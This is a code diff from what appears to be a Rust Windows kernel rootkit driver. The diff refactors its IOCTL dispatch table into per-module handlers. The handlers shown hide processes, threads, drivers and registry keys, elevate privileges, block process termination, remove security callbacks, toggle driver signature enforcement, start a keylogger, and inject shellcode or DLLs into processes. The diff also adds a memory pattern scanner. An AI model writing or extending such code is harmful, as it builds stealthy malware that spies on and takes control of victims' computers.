// Hide the specified Thread by removing it from the list of active threads.
ioctls.insert(IOCTL_HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_HIDE_UNHIDE_THREAD");
let status = unsafe { handle_thread!(stack, Thread::thread_toggle, TargetThread) };
unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
status
}) as IoctlHandler);
// ?
ioctls.insert(IOCTL_ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATION_THREAD");
let mut information = 0;
let status = unsafe { handle_thread!(irp, stack, Thread::enumerate_thread_toggle, EnumerateInfoInput, ThreadListInfo , &mut information) };
unsafe { (*irp).IoStatus.Information = information as u64 };
status
}) as IoctlHandler);
// Responsible for adding thread termination protection.
ioctls.insert(IOCTL_PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_PROTECTION_THREAD");
let status = unsafe { handle_thread!(stack, add_remove_thread_toggle, ThreadProtection) };
unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
status
}) as IoctlHandler);
}

View File

@@ -20,6 +20,7 @@ use {
#[cfg(not(feature = "mapper"))]
pub mod callback;
pub mod ioctls;
#[cfg(not(feature = "mapper"))]
pub use callback::*;

View File

@@ -1,222 +1,37 @@
use {
crate::{
callbacks::{Callback, CallbackList, CallbackOb, CallbackRegistry},
driver::Driver, injection::{InjectionDLL, InjectionShellcode},
keylogger::set_keylogger_state, module::Module,
process::Process, thread::Thread, *
},
alloc::boxed::Box,
core::mem::size_of,
hashbrown::HashMap,
lazy_static::lazy_static,
shared::{
ioctls::*,
structs::*,
},
wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS}
};
#[cfg(not(feature = "mapper"))]
use {
hashbrown::HashMap,
lazy_static::lazy_static,
wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS},
crate::{
process::add_remove_process_toggle,
thread::add_remove_thread_toggle,
handle_registry,
registry::{Registry, utils::KeyListType}
callbacks::ioctls::get_callback_ioctls,
driver::ioctls::get_driver_ioctls,
process::ioctls::get_process_ioctls,
thread::ioctls::get_thread_ioctls,
registry::ioctls::get_registry_ioctls,
injection::ioctls::get_injection_ioctls,
misc::ioctls::get_misc_ioctls,
module::ioctls::get_module_ioctls,
},
shared::structs::{ProcessProtection, ThreadProtection, TargetRegistry},
};
type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> NTSTATUS + Send + Sync>;
pub type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> NTSTATUS + Send + Sync>;
lazy_static! {
pub static ref IOCTL_MAP: HashMap<u32, IoctlHandler> = {
let mut ioctls = HashMap::new();
ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ELEVATE_PROCESS");
let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) };
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess>() as u64; }
status
}) as IoctlHandler);
get_process_ioctls(&mut ioctls);
get_thread_ioctls(&mut ioctls);
get_driver_ioctls(&mut ioctls);
get_callback_ioctls(&mut ioctls);
get_injection_ioctls(&mut ioctls);
get_misc_ioctls(&mut ioctls);
get_module_ioctls(&mut ioctls);
ioctls.insert(IOCTL_HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_HIDE_UNHIDE_PROCESS");
let status = unsafe { handle_process!(stack, Process::process_toggle, ProcessInfoHide) };
unsafe { (*irp).IoStatus.Information = size_of::<ProcessInfoHide>() as u64; }
status
}) as IoctlHandler);
ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_TERMINATE_PROCESS");
let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) };
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess> as u64 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_SIGNATURE_PROCESS");
let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) };
unsafe { (*irp).IoStatus.Information = size_of::<ProcessSignature> as u64 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATION_PROCESS");
let mut information = 0;
let status = unsafe { handle_process!(irp, stack, Process::enumerate_process_toggle, EnumerateInfoInput, ProcessListInfo, &mut information) };
unsafe { (*irp).IoStatus.Information = information as u64 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_HIDE_UNHIDE_THREAD");
let status = unsafe { handle_thread!(stack, Thread::thread_toggle, TargetThread) };
unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATION_THREAD");
let mut information = 0;
let status = unsafe { handle_thread!(irp, stack, Thread::enumerate_thread_toggle, EnumerateInfoInput, ThreadListInfo , &mut information) };
unsafe { (*irp).IoStatus.Information = information as u64 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER");
let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATE_DRIVER");
let mut information = 0;
let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
unsafe { (*irp).IoStatus.Information = information as u64 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATE_CALLBACK");
let mut information = 0;
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) };
unsafe { (*irp).IoStatus.Information = information as u64 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK");
let mut information = 0;
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) };
unsafe { (*irp).IoStatus.Information = information as u64 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_REMOVE_CALLBACK");
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_RESTORE_CALLBACK");
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENABLE_DSE");
let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_KEYLOGGER");
let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATE_MODULE");
let mut information = 0;
let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
unsafe { (*irp).IoStatus.Information = information as u64 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_INJECTION_DLL_THREAD");
let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
// If the feature is a mapper, these functionalities will not be added.
#[cfg(not(feature = "mapper"))] {
ioctls.insert(IOCTL_PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_PROTECTION_PROCESS");
let status = unsafe { handle_process!(stack, add_remove_process_toggle, ProcessProtection) };
unsafe { (*irp).IoStatus.Information = size_of::<ProcessProtection> as u64 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_PROTECTION_THREAD");
let status = unsafe { handle_thread!(stack, add_remove_thread_toggle, ThreadProtection) };
unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_REGISTRY_PROTECTION_VALUE");
let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Protect) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_REGISTRY_PROTECTION_KEY");
let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Protect) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_HIDE_UNHIDE_KEY");
let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Hide) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_HIDE_UNHIDE_VALUE");
let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Hide) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
get_registry_ioctls(&mut ioctls);
}
ioctls
};
}

View File

@@ -165,6 +165,7 @@ macro_rules! handle_module {
macro_rules! handle_callback {
($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{
use shared::vars::Callbacks;
use crate::callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList};
let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) {
Ok(buffer) => buffer,
@@ -206,7 +207,8 @@ macro_rules! handle_callback {
($irp:expr, $type_:ty, $ioctl:expr) => {{
use shared::vars::Callbacks;
use crate::callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList};
let input_buffer = match crate::utils::get_input_buffer::<$type_>($irp) {
Ok(buffer) => buffer,
Err(status) => return status,

View File

@@ -20,12 +20,13 @@ use {
},
obfstr::obfstr,
wdk_sys::{
ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, _SECTION_INHERIT::ViewUnmap, *
ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, _SECTION_INHERIT::ViewUnmap,
_POOL_TYPE::NonPagedPool, *
},
winapi::um::winnt::{
RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
}, _POOL_TYPE::NonPagedPool,
},
};
#[cfg(not(test))]
@@ -415,6 +416,39 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
None
}
/// Scans memory for a specific pattern of bytes in a specific section.
/// # Parameters
/// - `base_addr`: The base address (in `usize` format) from which the scan should start.
/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan.
/// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
///
/// # Returns
/// - `Option<*const u8>`: The address of the target function if found.
///
pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> {
let dos_header = base_addr as *const IMAGE_DOS_HEADER;
let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
let section = (*section_header.add(i)).Name;
let name = core::str::from_utf8(&section).unwrap().trim_matches('\0');
if name == section_name {
let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize;
let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize;
let data = core::slice::from_raw_parts(section_start as *const u8, section_size);
if let Some(offset) = data.windows(pattern.len()).position(|window| {
window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p)
}) {
return Some((section_start + offset) as *const u8);
}
}
}
None
}
/// Finds the address of a specified Zw function.
///
/// # Parameters

View File

@@ -50,4 +50,5 @@ pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, ME
pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_TESTE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS);